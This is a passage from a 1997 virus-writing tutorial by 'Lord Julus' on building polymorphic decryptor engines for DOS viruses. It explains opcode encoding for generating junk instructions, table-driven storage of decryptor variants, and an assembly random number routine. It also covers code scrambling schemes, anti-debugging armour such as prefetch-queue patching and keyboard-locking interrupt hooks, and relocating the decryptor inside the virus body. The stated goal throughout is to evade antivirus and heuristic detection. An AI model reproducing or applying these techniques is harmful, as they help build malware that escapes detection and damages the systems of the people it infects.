           1100000, w, 11011, reg

      1.3) RCR reg, cl

           1101001, w, 11011, reg


g) Flag instructions
~~~~~~~~~~~~~~~~~~~~
   CLI   - 11111010
   STI   - 11111011
   CLD   - 11111100
   STD   - 11111101
   CLC   - 11111000
   STC   - 11111001
   CMC   - 11110101
   SAHF  - 10011110
   LAHF  - 10011111

h) Jump instructions
```

```
~~~~~~~~~~~~~~~~~~~~
     1) JMP SHORT - EBh, data8

     2) JMP NEAR  - E9h, data16

     3) JMP FAR   - EAh, data

        data is a segment:offset data in inverse format.
        Example: jmp far 1000:432fh = EAh, 2f43h, 0010h

     Now, the conditional jumps (note that data8 is a 8 bit signed number;
     if it's from -127 to -1 the jump is upward otherwise the jump is
     downward. The jump is counted from the *END* of the jump instruction.
     This means that a JE 00 is a jump to the next instruction below. A
     JE 02 is a jump past the two bytes *AFTER* the jump's OpCodes)

     4)  JBE/JNA      - 76h, data8
     5)  JLE/JNG      - 7Eh, data8
     6)  JB/JNAE/JC   - 72h, data8
     7)  JL/JNGE      - 7Ch, data8
     8)  JZ/JE        - 74h, data8
     9)  JNE/JNZ      - 75h, data8
     10) JAE/JNB/JNC  - 73h, data8
     11) JGE/JNL      - 7Dh, data8
     12) JA/JNBE      - 77h, data8
     13) JG/JNLE      - 7Fh, data8
     14) JCXZ         - E3h, data8
     15) JNO          - 71h, data8
     16) JO           - 70h, data8
     17) JP/JPE       - 7Ah, data8
     18) JNP/JPO      - 7Bh, data8
     19) JNS          - 79h, data8
     20) JS           - 78h, data8

     21) LOOP - E2h, data8

     22) CALL SHORT - E8h, data8

     23) RETN - C3h
     24) RETF - CBh
     35) IRET - CFh

     36) INT - CD, data8

i) Other misc. instructions
~~~~~~~~~~~~~~~~~~~~~~~~~~~
    1) lea reg, mem

       10011, d, w, r/m, reg, mod, data

       For example LEA DI, [BP+1000h] would be:

           10011,  0, 1,  10, 111, 110, 0010
           Opcode  d  w  r/m  reg  mod  data
```

After all these have been said, you are now able to create skeletons for each instruction and then fill it with the proper registers and mod's and everything.

Let's say the following:

```
 kreg = CX = 00000001
 creg = BX = 00000011

 and we want to create:

   (1)      XOR CX, BX
   (2)      MOV [DI], CX

 For (1) we have the skeleton:

 001100, d, w, 11, reg1, reg2
 which we encode like:

 00110000 11000000, and then we start to fill it:

 00110000 or   11000000 or
 00000011      00001011
 --------      --------
 00110011      11001011 and we have 0011001111001011 = 33CBh

 For (2) we have the skeleton:

 100010, d, w, r/m, reg, mod, data
 which we encode like:

 10001000 00000000, and then start to fill:

 10001000 or  00000000 or
 00000001     00001101
 --------     --------
 10001001     00001101 = 1000100100001101 = 890Dh

 So, we have:

     33 CB xor cx, bx
     89 0D mov [di], cx
```

And a final word about all this stuff of coding here. I'm talking about segment overrides. Sometimes you may want to override the memory address with another register. This is done by inserting *before* the entire Opcode the segment override. For example if you want to turn MOV [DI], CX into MOV ES:[DI], CX the opcode will turn from 890Dh to 26890Dh. You may put how many overrides you want, but only the last one will take effect. You can use this to turn 2 byte junk instructions into three byte junk instructions, and so on.

```
 .-------------.
 |  The Steps  |
 '-------------'
```

Ok, now that we know most of the things about how a polymorphic decryptor should look like, let's get deeper.

1) How to store so much information ?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The answer is: Compress and Code everything. I already started this, by giving a number to each of our instructions in the main decryptor. We already created a matrix that will hold the order our instructions will be generated. We *know* which is the length of each instruction. We define it in an array. Then we need to start coding. There are not so many instructions given in all the methods we computed up there. All we have to do is give a number to each of them as soon as we meet one. Like, for example:

```
[1]       mov lreg, length

              a) push imm            - 01h
                 pop reg             - 02h
              b) mov ax, imm         - 03h
                 mov reg, ax         - 04h
              c) xor reg, reg        - 05h
                 xor reg, imm        - 06h
              d) mov reg, 0          - 03h
                 add reg, imm        - 07h
              e) mov reg, imm        - 03h
```

So we can code the entire [1] instruction with all it's variants like this:

```
01 FF 05 FF 01 02 FD FD FF 03 04 FD FF 05 06 FD FF 03 07 FF 03 FD FD FD FD FE
```

```
   where:
          - the first 01 is the instruction number
          - the first 05 gives the number of variants
          - FF is a mark between variants
          - FE is the mark of end of all
          - FD marks a junk instruction
```

As I said, you may insert the junks between the real code randomly. This means you can permute the FD's between the FF's and get another code that does the same thing.

So, the entire poly-main-decryptor will look like this:

```
decryptor_table:
        db       01h, FFh, 05h, ...
        db       02h, FFh, ...
        ...
        db       15h, FFh, ...
```

This cleared up how you store the instructions. You create them steb by step. Let's say you picked combination nr. 3 of the first
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

```
instruction. You generate it. Then you generate random junk. Then you
go onto the next instruction, and so on... Of course, before going into
this you must compute the random key, keyi, startcode and length and
associate for each a random number to junk them around like:

          if length = 1000h get a random, let's say 1234h and store it like:

             length = 1000h xor 1234h = 234h

          When you want to use the real length, just XOR again.

       But still, how do you code and get all that big amount of instructions
with different sizes and everything ? Again: compress and code. Here is an
ideea:

instruction_table:

  aa bb c  d  e iiiiiiiiiiiiiiiiiiii
  |  |  |  |  | '---------------------->    = instruction skeleton
  |  |  |  |  '----------------------->  1 = can be used as junk
  |  |  |  '-------------------------->  1 = but only with jreg
  |  |  '----------------------------->  1 = can use other regs if imm=0
  |  '-------------------------------->    = instruction length in bytes
  '----------------------------------->    = instruction number

  The bb can be for example a three bit nr. and hold something like this:

      000 - instr. is always 2 bytes long
      001 - instr. is 2 bytes long if r/m = 00
      010 - instr. is 3 bytes long if w = 0
      100 - instr. is 4 bytes long if w = 1

      or something like this. Here each one of you must use your imagination
with only one purpose: Optimization ! The stored data must be as compressed
as possible and as easy to access as possible.

       You should have a place with, let's say, 12 bytes, filed with 0, where
you should transfer the instruction you want to create and OR it with the
proper values there and then transfer it. This offers speed because you
always know the source of instruction.

       Actually, let's look directly into the code of M.O.F. and see how
it stores it's data:

 db 2, 01101000b, 00000000b                ;01   PUSH imm
 db 1, 01011000b                           ;02   POP reg

 <snip here>

 db 2, 75h, 0h                             ;27   JNE
 db 1, C3h                                 ;28   RET

       As you can see, the instructions are stored without any r/m, mod, or
reg field filled.  In order to fill up the instructions we have a so called
'filling table' which looks like this:
```

```
n ? d r/m mod data16 reg1 reg2

n ! ? x xx  xxx xxxxxxxxxxxxxxxx AA BB
| | | | |   |   |                |  |
| | | | |   |   |                |  '-- second register
| | | | |   |   |                '----- first register
| | | | |   |   '---------------------- data16 (0 if not necessary) (twice)
| | | | |   '-------------------------- mod for r/m <> 11
| | | | '------------------------------ r/m for this instr
| | | '-------------------------------- the direction
| | '---------------------------------- instruction type
| '------------------------------------ segment override
'-------------------------------------- instruction number

Register codification:

      0000 - lreg
      0001 - creg
      0010 - kreg
      0011 - jreg
      0100 - preg
      0101 - jrpg
      0111 - sreg
      1000 - dreg
      1111 - none

? values: - 001 - a register/register instr.
          - 010 - a register/immediate instr.
          - 011 - a register/mem instr.
          - 100 - a one register instr.
          - 101 - a immediate only instr.
          - 111 - a memory only instr.

! values: - 00 - none
          - 01 - sreg
          - 10 - dreg
          - 11 - instruction is special and nothing furthure should be
                 considered

if mod = 111 then it's actualy - 100 if preg = SI or
                               - 101 if preg = DI.

       So, let's take the first instruction in our code:

       [1]  mov lreg, length:

       - !=00      - no segment override
       - ?=010     - a register to immediate instr. type
       - d=0       - normal direction
       - r/m=00    - based
       - mod=000   - no index
       - data16_1  = length xor rndm
       - data16_2  = rndm
       - reg1=0000 - first register used is lreg
       - reg2=1111 - no second register

       In the first combination for the first instruction we have:

               push imm            01
               pop reg             02
               xor reg,rndm        03

       As you can see there are 2 immediate values used. M.O.F handles this
in this way (downwards). The first push is done with the first data16. The
pop reg is done with the lreg and because data16_2 is not 0, the xor is
done with the second data16. If data16_2 were 0 then only the first data
was used. Hope you get it.


     2) How do I get the randoms ?
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     I promised I'll get back to this. Here bellow is a routine that gives
you a random number between 0 and n-1. All you have to do is:

             mov cx, n
             Call random

             and the routine returns the random in AX.

     If you want a random between 0 - FFFFh just do mov cx, 0.

     But first of all, in order to have a really random number you should
initialize the random number generator by doing a CALL RANDOMIZE.
     Warning: The routine assumes you have your Delta handler set, otherwise
make BP = 0 !!

                            Random nr. generator
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
rand_seed       Dw      0
RANDOMIZE:                             ;procedure to start the
       Push    AX CX DX                ;random generator
       Xor     AH,AH                   ;get timer count
       Int     1Ah
       Mov     CS:[BP + rand_seed],DX  ;and save it
       Xchg    CH,CL
       Add     CS:[BP + rand_seed_2],CX
       Pop     DX CX AX
       Ret
;------------------------------------------------------------------------------
RANDOM:                                ;the random number generator
       In      AL,40h                  ; timer, for random nr
       Sub     AX,CS:[BP + rand_seed]
Db     35h                             ; XOR AX,
rand_seed_2     Dw      0              ; what is here
       Inc     AX
       Add     CS:[BP + rand_seed],AX  ; change seed
       cmp cx, 0
       je _out
       Call Modulo
```

```
_out:
       Ret
;------------------------------------------------------------------------------
MODULO:                                ; the modulo procedure ax = ax mod cx
       Push DX
       Xor DX, DX
       Div CX
       Xchg AX, DX
       Pop DX
       Ret
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

       3) What parameters my routine must receive and what should it
          return ?
       ~~~~~~

I suggest that the virus should move itself the code to an empty buffer, passing to the routine a pointer to that location and a length of code to be encrypted. The pointer must be at the beginning of the code to be encrypted not the beginning of all code !!

So the routine should receive something like:

```
       DS:SI - pointer to code to be encrypted
       CX    - length of code.
```

Warning: The buffer at DS:SI must be big enough to hold the CX bytes of code *and* the decryptor.
After the engine generated the decryptor it should return the length of the encrypted code + the length of the decryptor.

       4) Is this all ?!? Is my code completely mutant ?!?
       ~~~~~~

Nope...
Remember the entry point of the virus ? That place where you get the Delta Handler and then Call the decryptor ? Well, that area should be done in two ways:

```
             a) made polimorphic as well
             b) made very small so it doesn't flag AV's
```

Otherwise, you've done nothing... Your decryptor is perfect, but the virus is cought by the first bytes... Handle with it... It's not hard.

```
  .-------------------------------.
  |  The unscrambling procedure  |
  '-------------------------------'
```

Ok, so you wonder what is that 'CALL unscramble' I put there in the decryptor. I could as well say <unscrambling operation>. There actually the code held by the 'creg' register is modified using a math operation involving the second member, the key holder, e.g. the 'kreg' register.

In old routines the encryption was made using these ways:

```
    Encrypt    |  Decrypt
```

```
    -----------.---------
      XOR      |   XOR
      ROR      |   ROL
      ADD      |   SUB
      AND      |   OR   (here with some playing around)
    -----------'---------
```

But more advanced procedures use many ways. For example, my own poly routine (LJ_MOF - Multiple Opcode Fantasy) uses a very trivial way to encrypt the code. It uses 4 methods and in each case the methods are put in a random order. Then the words are encrypted each with another method, in the given order. After each iteration the order shifts and the key is increased. Therefore, we cannot decrypt the code by a simple math operation.

If your virus is a small one you may consider a DIV/MUL procedure, but this is very slow. But if your virus is small you may consider an AND/OR scrambling procedure. This is done like this:

```
        c  = code to be encrypted
        k  = encryption key
        k' = NOT k

        E1 = c AND k
        E2 = c AND k'
```

In your code you store E1 and E2 (there by obtaining an encrypted length = original length * 2). To restore the code simply do:

```
        c = E1 or E2.

        Check it:

        1000 and 2222  = 168
        NOT 2222       = -2223
        1000 and -2223 = 832
        ----------------------
        168 or 832     = 1000
```

So, the thing is you should have a separate unscrambling procedure. Therefore, here is how I see the polymorphic decryptor that a good engine should create:

```
                    ▯
        .---------- Host ▯-----------.
        |                            |
        ▯                            |
Entry   .-----------------------.    |
        | Delta getter          |    |
        |                       |    |
     .--.-----------------------.<-. |
     |  |                       |  | |
     |  | virus body            |  | |
     |  |                       |  | |
     |  | (poly engine)         |  | |
     |  .-----------------------.--|-' -.
     |  |                       |  |    |
     |  | unscrambling routine  |  |    |
     '->.-----------------------.  |    .->   All this part here must be
        | ARMOUR                |  |    |     generated by the polymorphic
        .-----------------------.  |    |     engine.
        | decryptor             |  |    |
        '-----------------------'--'   -'
```

So, the host calls the virus which calls the polymorphic decryptor. First it encounters the ARMOUR routine, then it goes into the decryptor loop which uses the Unscrambling Routine. After that the control is passed back to the virus.

But, as we know how to create a polymorphic decryptor, creating a polymorphic unscrambling routine is a piece of cake now. All you must have in mind is to generate something able to make the inverse of the math operation you performed. For the beginners I suggest instead of a CALL to an unscrambling routine to use a simple XOR creg, kreg and then go further with more complicated routines.

```
 .----------------------------.
 |  Armouring your routines  |
 '----------------------------'
```

Ok, so you made a decryptor, completely polymorphic, not one byte there is the same in different generations and still some AV's report that this could be a virus... With the kind of decryptor I gave above, like MOF is, generating almost 2000 bytes decryptors the possibility is very small. And still we should use some techniques.

Your decryptor should have in the beginning what I mentioned in the scheme: The ARMOUR. I will not get too deep into this, first because I didn't studied it enough and second of all because there are many articles out there about this.

From the beginning I will say that in these days you *should* work in 386 instructions (maybe even 486). This will mess up many AV's and in extra, imagine the possibilities: you have eight 8 bit regs, eight 16 bit regs and eight 32 bit registers, plus some new segment registers ! New plymorphic ways !

Second of all, armour your calls to the decryptor. This could be done easily by removing a CALL decryptor instruction with something not so obvious, like this:

```
            mov ax, 0b00h       ; get keyboard status
            int 21h             ; this returns al with FFh or 0h
            dec al              ; if we decrement al we'll have a
            jns not_good        ; signed number
            jmp decryptor       ; which will lead us to our decryptor.
not_good:
```

Again, don't let the decryptor finish the code. This is followed by

```
many AV's. If you can't make a poly engine, at least put some junk after
your last RET.

       Anyway, in the polymorphic ARMOUR routine (which mustn't be too
obvious) you should do some of these:

   a) Overflow the stack, like:

                - mov ax, sp
                  mov sp, 0
                  pop bx
                  mov sp, ax

      or simply mess with it, like:

                - Not SP
                  Not SP or

                - Neg SP
                  Neg SP

   b) Use the Prefetching Queue. Very good technique:

      Example 1:

          mov cs:[patch], 04CB4H
   patch: Jmp over                ; this will turn into Mov ah, 4ch
          Int 21h
   over:  ...


      Example 2:

          mov cs:[patch], 0F7EBh
      patch: Nop                   ; this will become JMP $-7 and will be
             Nop                   ; an infinite jump
             ...
          mov cs:[patch], 0000h

      You have to understand: normaly, the instruction at the `patch' address
will be executed by the processor as a result of the Prefetching Queue. But
if debugged or traced, the code will change. In the first example a
'Terminate' will occure, in the second example an infinite jump will appear.
The good thing is that you can put a ';' before the mov cs:... instruction
in order to easily debug your programs.

   c) Make very long loops doing a very simple operation (like copying
      code from a source that's the same with it's destination), and
      make these loops long:

           mov ds, ax
           mov es, ax
           mov di, si
           mov cx, 0FEFEh
      loop1:
           movsb
           loop loop1
```

d) Make calls to Interupts that do nothing, or make calls to interupts that return known values.

e) Try to modify the address of INT 01, or INT 03. Then check the int table and see if they changed. If not -> go into an infinite loop, someone is tracing your code.

f) Hook some interrupts (like 15 or 19) and in the handler block the keyboard (for example by copying the vector for INT 1ch into the INY 09h place)

g) Check the PSP:0000 and if it's not CD20h or if the PSP is it's own parent, hook the computer.

h) Get known values, like CDh at PSP:0000 and use it by adding or substracting in order to obtain what you want.

j) A very good techinque is the 'wrap around 0' technique. In order to use this you must know that when a register is increased above 0FFFFh it goes around 0 like this:

```
                0FFFEh + 3h = 1h
```

Let's take two numbers. One is called 'base number' (B) and the other 'increment' (I) with the propriety:

```
        K = B + I,
        B + I > 0FFFFh
```

For example, we consider that K is the pointer to our code to decrypt. An usual way to get a byte from that position would be like this:

```
                mov di, K
                ...
                mov ax, word ptr cs:[di]
```

But with the numbers B and I we can change our code to this:

```
                mov di, B
                ...
                mov ax, word ptr cs:[di + I]
```

B + I will wrap around 0 and will give the original K. This makes things very bad for the heuristic analysers who search for the places the usual pointer registers hold.
Note that numbers wrap around 0 also when they are decreased:

```
       0h - 1h = 0FFFFh
```

So you can also use at your choice something like [di - I]
Of course, the B and I numbers will always be choosed randomly.

k) Beware when using not very used instruction that may flag some AV's. Like for example AAA, AAS, DAS and so on. Just don't include these in your junk instruction table.

Ok, I'll stop here, because we are not going to make this article an anti-debugging one. Armour your poly-decryptor how you can and let the real code do the real tricks.

```
 .-------------------------.
 |  Advanced polymorphism  |
 '-------------------------'
```

OK, now after we have `mastered' the basics of polymorphism, if I can say so, let's take a look at ways to render the basic poly engine to what should be the perfect engine. In order to obtain this, we must add to the requirements of a perfect poly engine one more thing:

- the decryptor should be able to place itself wherever into the code.

Look a little at how I see the process of 'new code procreation':

This is how our virus resides in memory:

```
     .----------------------------.
     |  .--------.    .--------.  |
     |  | Virus  |    | Empty  |  |
     |  | body   |    | space  |  |
     |  |        |    |        |  |
     |  | in     |    | in     |  |
     |  | memory |    | memory |  |
     |  '--------'    .--------.  | --.
     |                | free   |  |   |__ This extra space is needed for the
     |                | space  |  |   |   decryptor
     |                '--------'  | --'
     '----------------------------'
```

The poly engine will make a copy of the Virus body over the empty space:

```
     .---------.              .---------.              .---------.
     | Copy of |              |#########|              |#########| - Part 1
     | virus   |   Step 1     |#########|   Step 2     .---------.
     | body    | -----------> |#########| -----------> | free    |
     |         |              |#########|              | space   |
     |         |              |#########|              .---------.
     .---------.              .---------.              |#########|
     | free    |              | free    |              |#########| - Part 2
     | space   |              | space   |              |#########|
     '---------'              '---------'              '---------'
```

Where '#' represents the code already encrypted using a given method. In step 2, we move the free space somewhere random into the encrypted code. Actually, we break the encrypted code in two parts: the upper part and the lower part. So, we will have some suplimentar values that we should consider:

```
       Start1 = start of first part of code
       End1   = end of first part of code
       End2   = end of second part of code
```

We don't need more: the free space start is at End1+1 and the second part start is at End1+FreeSpace+1.

After this in the free space the engine will create the decryptor. It must be able to decrypt both parts (at your choice you can encrypt them using different methods) and then give control to a place well known (usualy at the beginning of code). Here we must get rid of the decryptor ! So, after the 'Going Resident part' acted, the memory will look like this:

```
    .---------.            .---------.
    |+++++++++|            |+++++++++|   '+' represents de decrypted code.
    .---------.            |+++++++++|   We got rid of the decryptor by
    | Decryp- |            |+++++++++|   moving upwards the entire Part 2
    | tor     | ---------> |+++++++++|   and make it overwrite the
    .---------.            '---------'   Decryptor.
    |+++++++++|
    |+++++++++|
    |+++++++++|
    '---------'
```

So, the decryptor worked ! It unscrambled the code, and gave it the control. The code went resident and rejoined his two parts becoming exactly like the original code existed.

The main advantage of this thing is that the Call to the decryptor is variable. It is now almost impossible for the heuristic cleaners to locate the place of the virus and remove it, by searching for the original header after emulating the decryptor, especialy if you use some armouring techniques along with that.

Here are some other ideas you may use to increase the polymorphism level of your engine:

- play with the direction (encryption/decryption to go upwards or downwards)
- play with the word/byte level encryption type
- after the polymorphic decryptor worked make it give control to another decryptor (this time a really sofisticated one. For more on that check out the `Decryptors' article which I will release soon which will include CoProcessor related decryptors)

```
 .-----------.
 |  Closing  |
 '-----------'
```

Since the early days of programming, when I was trying to create self-checking executables or to include in games' executables lines like: 'This game comes from me!', I was intrigued by the internal looks of the code. I knew that you can do this kind of things only by looking at the bit

level of the instructions. When I heard about viruses I was curious too.
When I heard about the polymorphic routines and after I studied a couple
of them I became really interested about this. I don't know if this
document helps you in any way, but I would appreciate any feed-back and any
ideas in this direction. Thanx.

```
                                                  .--------------------.
                                                  |  Lord Julus - 1997 |
                                                  '--------------------'

  Wait for other articles:   - Residency - all about it
                             - Resident under Windows 95
                             - Bypassing Windows 95
                             - Anti-debugging and anti-goat techniques

  Many thanx go to: The Black Baron, Dark Avenger, Rock Steady, Qark,
                    Quantum, Dark Angel, Hellraiser, Executioner
                                                         Lord Julus - 1997
```